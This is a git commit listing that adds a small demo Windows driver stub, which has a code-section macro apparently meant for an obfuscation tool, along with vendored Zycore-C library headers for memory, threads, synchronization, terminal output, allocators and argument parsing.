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_xeroxz 4 years ago
parent f13f10a5ec
commit 2106099c68
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98
DemoDrv/DemoDrv.vcxproj
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8
DemoDrv/DriverEntry.c
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#include <intrin.h>
#define ObfiscateRoutine __declspec(code_seg(".theo"))
unsigned long DbgPrint(const char* format, ...);
int drv_entry()
{
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}

33
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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYCORE_API_MEMORY_H
#define ZYCORE_API_MEMORY_H
#include <ZycoreExportConfig.h>
#include <Zycore/Defines.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#if defined(ZYAN_WINDOWS)
# include <windows.h>
#elif defined(ZYAN_POSIX)
# include <sys/mman.h>
#else
# error "Unsupported platform detected"
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanMemoryPageProtection` enum.
*/
typedef enum ZyanMemoryPageProtection_
{
#if defined(ZYAN_WINDOWS)
ZYAN_PAGE_READONLY = PAGE_READONLY,
ZYAN_PAGE_READWRITE = PAGE_READWRITE,
ZYAN_PAGE_EXECUTE = PAGE_EXECUTE,
ZYAN_PAGE_EXECUTE_READ = PAGE_EXECUTE_READ,
ZYAN_PAGE_EXECUTE_READWRITE = PAGE_EXECUTE_READWRITE
#elif defined(ZYAN_POSIX)
ZYAN_PAGE_READONLY = PROT_READ,
ZYAN_PAGE_READWRITE = PROT_READ | PROT_WRITE,
ZYAN_PAGE_EXECUTE = PROT_EXEC,
ZYAN_PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ,
ZYAN_PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
#endif
} ZyanMemoryPageProtection;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the system page size.
*
* @return The system page size.
*/
ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemPageSize();
/**
* Returns the system allocation granularity.
*
* The system allocation granularity specifies the minimum amount of bytes which can be allocated
* at a specific address by a single call of `ZyanMemoryVirtualAlloc`.
*
* This value is typically 64KiB on Windows systems and equal to the page size on most POSIX
* platforms.
*
* @return The system allocation granularity.
*/
ZYCORE_EXPORT ZyanU32 ZyanMemoryGetSystemAllocationGranularity();
/* ---------------------------------------------------------------------------------------------- */
/* Memory management */
/* ---------------------------------------------------------------------------------------------- */
/**
* Changes the memory protection value of one or more pages.
*
* @param address The start address aligned to a page boundary.
* @param size The size.
* @param protection The new page protection value.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualProtect(void* address, ZyanUSize size,
ZyanMemoryPageProtection protection);
/**
* Releases one or more memory pages starting at the given address.
*
* @param address The start address aligned to a page boundary.
* @param size The size.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanMemoryVirtualFree(void* address, ZyanUSize size);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#endif /* ZYCORE_API_MEMORY_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYCORE_API_PROCESS_H
#define ZYCORE_API_PROCESS_H
#include <ZycoreExportConfig.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* @brief Flushes the process instruction cache.
*
* @param address The address.
* @param size The size.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanProcessFlushInstructionCache(void* address, ZyanUSize size);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#endif /* ZYCORE_API_PROCESS_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYCORE_API_SYNCHRONIZATION_H
#define ZYCORE_API_SYNCHRONIZATION_H
#ifndef ZYAN_NO_LIBC
#include <ZycoreExportConfig.h>
#include <Zycore/Defines.h>
#include <Zycore/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
#if defined(ZYAN_POSIX)
#include <pthread.h>
/* ---------------------------------------------------------------------------------------------- */
/* Critical Section */
/* ---------------------------------------------------------------------------------------------- */
typedef pthread_mutex_t ZyanCriticalSection;
/* ---------------------------------------------------------------------------------------------- */
#elif defined(ZYAN_WINDOWS)
#include <windows.h>
/* ---------------------------------------------------------------------------------------------- */
/* Critical Section */
/* ---------------------------------------------------------------------------------------------- */
typedef CRITICAL_SECTION ZyanCriticalSection;
/* ---------------------------------------------------------------------------------------------- */
#else
# error "Unsupported platform detected"
#endif
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Critical Section */
/* ---------------------------------------------------------------------------------------------- */
/**
* Initializes a critical section.
*
* @param critical_section A pointer to the `ZyanCriticalSection` struct.
*/
ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionInitialize(ZyanCriticalSection* critical_section);
/**
* Enters a critical section.
*
* @param critical_section A pointer to the `ZyanCriticalSection` struct.
*/
ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionEnter(ZyanCriticalSection* critical_section);
/**
* Tries to enter a critical section.
*
* @param critical_section A pointer to the `ZyanCriticalSection` struct.
*
* @return Returns `ZYAN_TRUE` if the critical section was successfully entered or `ZYAN_FALSE`,
* if not.
*/
ZYCORE_EXPORT ZyanBool ZyanCriticalSectionTryEnter(ZyanCriticalSection* critical_section);
/**
* Leaves a critical section.
*
* @param critical_section A pointer to the `ZyanCriticalSection` struct.
*/
ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionLeave(ZyanCriticalSection* critical_section);
/**
* Deletes a critical section.
*
* @param critical_section A pointer to the `ZyanCriticalSection` struct.
*/
ZYCORE_EXPORT ZyanStatus ZyanCriticalSectionDelete(ZyanCriticalSection* critical_section);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYAN_NO_LIBC */
#endif /* ZYCORE_API_SYNCHRONIZATION_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file Provides cross-platform terminal helper functions.
* @brief
*/
#ifndef ZYCORE_API_TERMINAL_H
#define ZYCORE_API_TERMINAL_H
#include <ZycoreExportConfig.h>
#include <Zycore/LibC.h>
#include <Zycore/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef ZYAN_NO_LIBC
/* ============================================================================================== */
/* VT100 CSI SGR sequences */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
#define ZYAN_VT100SGR_RESET "\033[0m"
/* ---------------------------------------------------------------------------------------------- */
/* Foreground colors */
/* ---------------------------------------------------------------------------------------------- */
#define ZYAN_VT100SGR_FG_DEFAULT "\033[39m"
#define ZYAN_VT100SGR_FG_BLACK "\033[30m"
#define ZYAN_VT100SGR_FG_RED "\033[31m"
#define ZYAN_VT100SGR_FG_GREEN "\033[32m"
#define ZYAN_VT100SGR_FG_YELLOW "\033[33m"
#define ZYAN_VT100SGR_FG_BLUE "\033[34m"
#define ZYAN_VT100SGR_FG_MAGENTA "\033[35m"
#define ZYAN_VT100SGR_FG_CYAN "\033[36m"
#define ZYAN_VT100SGR_FG_WHITE "\033[37m"
#define ZYAN_VT100SGR_FG_BRIGHT_BLACK "\033[90m"
#define ZYAN_VT100SGR_FG_BRIGHT_RED "\033[91m"
#define ZYAN_VT100SGR_FG_BRIGHT_GREEN "\033[92m"
#define ZYAN_VT100SGR_FG_BRIGHT_YELLOW "\033[93m"
#define ZYAN_VT100SGR_FG_BRIGHT_BLUE "\033[94m"
#define ZYAN_VT100SGR_FG_BRIGHT_MAGENTA "\033[95m"
#define ZYAN_VT100SGR_FG_BRIGHT_CYAN "\033[96m"
#define ZYAN_VT100SGR_FG_BRIGHT_WHITE "\033[97m"
/* ---------------------------------------------------------------------------------------------- */
/* Background color */
/* ---------------------------------------------------------------------------------------------- */
#define ZYAN_VT100SGR_BG_DEFAULT "\033[49m"
#define ZYAN_VT100SGR_BG_BLACK "\033[40m"
#define ZYAN_VT100SGR_BG_RED "\033[41m"
#define ZYAN_VT100SGR_BG_GREEN "\033[42m"
#define ZYAN_VT100SGR_BG_YELLOW "\033[43m"
#define ZYAN_VT100SGR_BG_BLUE "\033[44m"
#define ZYAN_VT100SGR_BG_MAGENTA "\033[45m"
#define ZYAN_VT100SGR_BG_CYAN "\033[46m"
#define ZYAN_VT100SGR_BG_WHITE "\033[47m"
#define ZYAN_VT100SGR_BG_BRIGHT_BLACK "\033[100m"
#define ZYAN_VT100SGR_BG_BRIGHT_RED "\033[101m"
#define ZYAN_VT100SGR_BG_BRIGHT_GREEN "\033[102m"
#define ZYAN_VT100SGR_BG_BRIGHT_YELLOW "\033[103m"
#define ZYAN_VT100SGR_BG_BRIGHT_BLUE "\033[104m"
#define ZYAN_VT100SGR_BG_BRIGHT_MAGENTA "\033[105m"
#define ZYAN_VT100SGR_BG_BRIGHT_CYAN "\033[106m"
#define ZYAN_VT100SGR_BG_BRIGHT_WHITE "\033[107m"
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Declares the `ZyanStandardStream` enum.
*/
typedef enum ZyanStandardStream_
{
/**
* The default input stream.
*/
ZYAN_STDSTREAM_IN,
/**
* The default output stream.
*/
ZYAN_STDSTREAM_OUT,
/**
* The default error stream.
*/
ZYAN_STDSTREAM_ERR
} ZyanStandardStream;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* Enables VT100 ansi escape codes for the given stream.
*
* @param stream Either `ZYAN_STDSTREAM_OUT` or `ZYAN_STDSTREAM_ERR`.
*
* @return A zyan status code.
*
* This functions returns `ZYAN_STATUS_SUCCESS` on all non-Windows systems without performing any
* operations, assuming that VT100 is supported by default.
*
* On Windows systems, VT100 functionality is only supported on Windows 10 build 1607 (anniversary
* update) and later.
*/
ZYCORE_EXPORT ZyanStatus ZyanTerminalEnableVT100(ZyanStandardStream stream);
/**
* Checks, if the given standard stream reads from or writes to a terminal.
*
* @param stream The standard stream to check.
*
* @return `ZYAN_STATUS_TRUE`, if the stream is bound to a terminal, `ZYAN_STATUS_FALSE` if not,
* or another zyan status code if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanTerminalIsTTY(ZyanStandardStream stream);
/* ============================================================================================== */
#endif // ZYAN_NO_LIBC
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_API_TERMINAL_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYCORE_API_THREAD_H
#define ZYCORE_API_THREAD_H
#ifndef ZYAN_NO_LIBC
#include <ZycoreExportConfig.h>
#include <Zycore/Defines.h>
#include <Zycore/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
#if defined(ZYAN_POSIX)
#include <pthread.h>
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanThread` data-type.
*/
typedef pthread_t ZyanThread;
/**
* Defines the `ZyanThreadId` data-type.
*/
typedef ZyanU64 ZyanThreadId;
/* ---------------------------------------------------------------------------------------------- */
/* Thread Local Storage (TLS) */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanThreadTlsIndex` data-type.
*/
typedef pthread_key_t ZyanThreadTlsIndex;
/**
* Defines the `ZyanThreadTlsCallback` function prototype.
*/
typedef void(*ZyanThreadTlsCallback)(void* data);
/**
* Declares a Thread Local Storage (TLS) callback function.
*
* @param name The callback function name.
* @param param_type The callback data parameter type.
* @param param_name The callback data parameter name.
*/
#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \
void name(param_type* param_name)
/* ---------------------------------------------------------------------------------------------- */
#elif defined(ZYAN_WINDOWS)
#include <windows.h>
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanThread` data-type.
*/
typedef HANDLE ZyanThread;
/**
* Defines the `ZyanThreadId` data-type.
*/
typedef DWORD ZyanThreadId;
/* ---------------------------------------------------------------------------------------------- */
/* Thread Local Storage (TLS) */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZyanThreadTlsIndex` data-type.
*/
typedef DWORD ZyanThreadTlsIndex;
/**
* Defines the `ZyanThreadTlsCallback` function prototype.
*/
typedef PFLS_CALLBACK_FUNCTION ZyanThreadTlsCallback;
/**
* Declares a Thread Local Storage (TLS) callback function.
*
* @param name The callback function name.
* @param param_type The callback data parameter type.
* @param param_name The callback data parameter name.
*/
#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \
VOID NTAPI name(param_type* param_name)
/* ---------------------------------------------------------------------------------------------- */
#else
# error "Unsupported platform detected"
#endif
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the handle of the current thread.
*
* @param thread Receives the handle of the current thread.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThread(ZyanThread* thread);
/**
* Returns the unique id of the current thread.
*
* @param thread_id Receives the unique id of the current thread.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThreadId(ZyanThreadId* thread_id);
/* ---------------------------------------------------------------------------------------------- */
/* Thread Local Storage (TLS) */
/* ---------------------------------------------------------------------------------------------- */
/**
* Allocates a new Thread Local Storage (TLS) slot.
*
* @param index Receives the TLS slot index.
* @param destructor A pointer to a destructor callback which is invoked to finalize the data
* in the TLS slot or `ZYAN_NULL`, if not needed.
*
* The maximum available number of TLS slots is implementation specific and different on each
* platform:
* - Windows
* - A total amount of 128 slots per process are guaranteed
* - POSIX
* - A total amount of 128 slots per process are guaranteed
* - Some systems guarantee larger amounts like e.g. 1024 slots per process
*
* Note that the invocation rules for the destructor callback are implementation specific and
* different on each platform:
* - Windows
* - The callback is invoked when a thread exits
* - The callback is invoked when the process exits
* - The callback is invoked when the TLS slot is released
* - POSIX
* - The callback is invoked when a thread exits and the stored value is not null
* - The callback is NOT invoked when the process exits
* - The callback is NOT invoked when the TLS slot is released
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadTlsAlloc(ZyanThreadTlsIndex* index,
ZyanThreadTlsCallback destructor);
/**
* Releases a Thread Local Storage (TLS) slot.
*
* @param index The TLS slot index.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadTlsFree(ZyanThreadTlsIndex index);
/**
* Returns the value inside the given Thread Local Storage (TLS) slot for the
* calling thread.
*
* @param index The TLS slot index.
* @param data Receives the value inside the given Thread Local Storage
* (TLS) slot for the calling thread.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadTlsGetValue(ZyanThreadTlsIndex index, void** data);
/**
* Set the value of the given Thread Local Storage (TLS) slot for the calling thread.
*
* @param index The TLS slot index.
* @param data The value to store inside the given Thread Local Storage (TLS) slot for the
* calling thread
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanThreadTlsSetValue(ZyanThreadTlsIndex index, void* data);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYAN_NO_LIBC */
#endif /* ZYCORE_API_THREAD_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYCORE_ALLOCATOR_H
#define ZYCORE_ALLOCATOR_H
#include <ZycoreExportConfig.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
struct ZyanAllocator_;
/**
* Defines the `ZyanAllocatorAllocate` function prototype.
*
* @param allocator A pointer to the `ZyanAllocator` instance.
* @param p Receives a pointer to the first memory block sufficient to hold an
* array of `n` elements with a size of `element_size`.
* @param element_size The size of a single element.
* @param n The number of elements to allocate storage for.
*
* @return A zyan status code.
*
* This prototype is used for the `allocate()` and `reallocate()` functions.
*
* The result of the `reallocate()` function is undefined, if `p` does not point to a memory block
* previously obtained by `(re-)allocate()`.
*/
typedef ZyanStatus (*ZyanAllocatorAllocate)(struct ZyanAllocator_* allocator, void** p,
ZyanUSize element_size, ZyanUSize n);
/**
* Defines the `ZyanAllocatorDeallocate` function prototype.
*
* @param allocator A pointer to the `ZyanAllocator` instance.
* @param p The pointer obtained from `(re-)allocate()`.
* @param element_size The size of a single element.
* @param n The number of elements earlier passed to `(re-)allocate()`.
*
* @return A zyan status code.
*/
typedef ZyanStatus (*ZyanAllocatorDeallocate)(struct ZyanAllocator_* allocator, void* p,
ZyanUSize element_size, ZyanUSize n);
/**
* Defines the `ZyanAllocator` struct.
*
* This is the base class for all custom allocator implementations.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZyanAllocator_
{
/**
* The allocate function.
*/
ZyanAllocatorAllocate allocate;
/**
* The reallocate function.
*/
ZyanAllocatorAllocate reallocate;
/**
* The deallocate function.
*/
ZyanAllocatorDeallocate deallocate;
} ZyanAllocator;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* Initializes the given `ZyanAllocator` instance.
*
* @param allocator A pointer to the `ZyanAllocator` instance.
* @param allocate The allocate function.
* @param reallocate The reallocate function.
* @param deallocate The deallocate function.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanAllocatorInit(ZyanAllocator* allocator, ZyanAllocatorAllocate allocate,
ZyanAllocatorAllocate reallocate, ZyanAllocatorDeallocate deallocate);
#ifndef ZYAN_NO_LIBC
/**
* Returns the default `ZyanAllocator` instance.
*
* @return A pointer to the default `ZyanAllocator` instance.
*
* The default allocator uses the default memory manager to allocate memory on the heap.
*
* You should in no case modify the returned allocator instance to avoid unexpected behavior.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanAllocator* ZyanAllocatorDefault(void);
#endif // ZYAN_NO_LIBC
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_ALLOCATOR_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements command-line argument parsing.
*/
#ifndef ZYCORE_ARGPARSE_H
#define ZYCORE_ARGPARSE_H
#include <Zycore/Types.h>
#include <Zycore/Status.h>
#include <Zycore/Vector.h>
#include <Zycore/String.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Structs and other types */
/* ============================================================================================== */
/**
* Definition of a single argument.
*/
typedef struct ZyanArgParseDefinition_
{
/**
* The argument name, e.g. `--help`.
*
* Must start with either one or two dashes. Single dash arguments must consist of a single
* character, (e.g. `-n`), double-dash arguments can be of arbitrary length.
*/
const char* name;
/**
* Whether the argument is boolean or expects a value.
*/
ZyanBool boolean;
/**
* Whether this argument is required (error if missing).
*/
ZyanBool required;
} ZyanArgParseDefinition;
/**
* Configuration for argument parsing.
*/
typedef struct ZyanArgParseConfig_
{
/**
* `argv` argument passed to `main` by LibC.
*/
const char** argv;
/**
* `argc` argument passed to `main` by LibC.
*/
ZyanUSize argc;
/**
* Minimum # of accepted unnamed / anonymous arguments.
*/
ZyanUSize min_unnamed_args;
/**
* Maximum # of accepted unnamed / anonymous arguments.
*/
ZyanUSize max_unnamed_args;
/**
* Argument definition array, or `ZYAN_NULL`.
*
* Expects a pointer to an array of `ZyanArgParseDefinition` instances. The array is
* terminated by setting the `.name` field of the last element to `ZYAN_NULL`. If no named
* arguments should be parsed, you can also set this to `ZYAN_NULL`.
*/
ZyanArgParseDefinition* args;
} ZyanArgParseConfig;
/**
* Information about a parsed argument.
*/
typedef struct ZyanArgParseArg_
{
/**
* Corresponding argument definition, or `ZYAN_NULL` for unnamed args.
*
* This pointer is borrowed from the `cfg` pointer passed to `ZyanArgParse`.
*/
const ZyanArgParseDefinition* def;
/**
* Whether the argument has a value (is non-boolean).
*/
ZyanBool has_value;
/**
* If `has_value == true`, then the argument value.
*
* This is a view into the `argv` string array passed to `ZyanArgParse` via the `cfg` argument.
*/
ZyanStringView value;
} ZyanArgParseArg;
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
#ifndef ZYAN_NO_LIBC
/**
* Parse arguments according to a `ZyanArgParseConfig` definition.
*
* @param cfg Argument parser config to use.
* @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is
* transferred to the user. Input is expected to be uninitialized. On error,
* the vector remains uninitialized.
* @param error_token On error, if it makes sense, receives the argument fragment causing the
* error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg`
* struct and doesn't have to be freed by the user.
*
* @return A `ZyanStatus` status determining whether the parsing succeeded.
*/
ZYCORE_EXPORT ZyanStatus ZyanArgParse(const ZyanArgParseConfig *cfg, ZyanVector* parsed,
const char** error_token);
#endif
/**
* Parse arguments according to a `ZyanArgParseConfig` definition.
*
* This version allows specification of a custom memory allocator and thus supports no-libc.
*
* @param cfg Argument parser config to use.
* @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is
* transferred to the user. Input is expected to be uninitialized. On error,
* the vector remains uninitialized.
* @param error_token On error, if it makes sense, receives the argument fragment causing the
* error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg`
* struct and doesn't have to be freed by the user.
* @param allocator The `ZyanAllocator` to be used for allocating the output vector's data.
*
* @return A `ZyanStatus` status determining whether the parsing succeeded.
*/
ZYCORE_EXPORT ZyanStatus ZyanArgParseEx(const ZyanArgParseConfig *cfg, ZyanVector* parsed,
const char** error_token, ZyanAllocator* allocator);
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_ARGPARSE_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
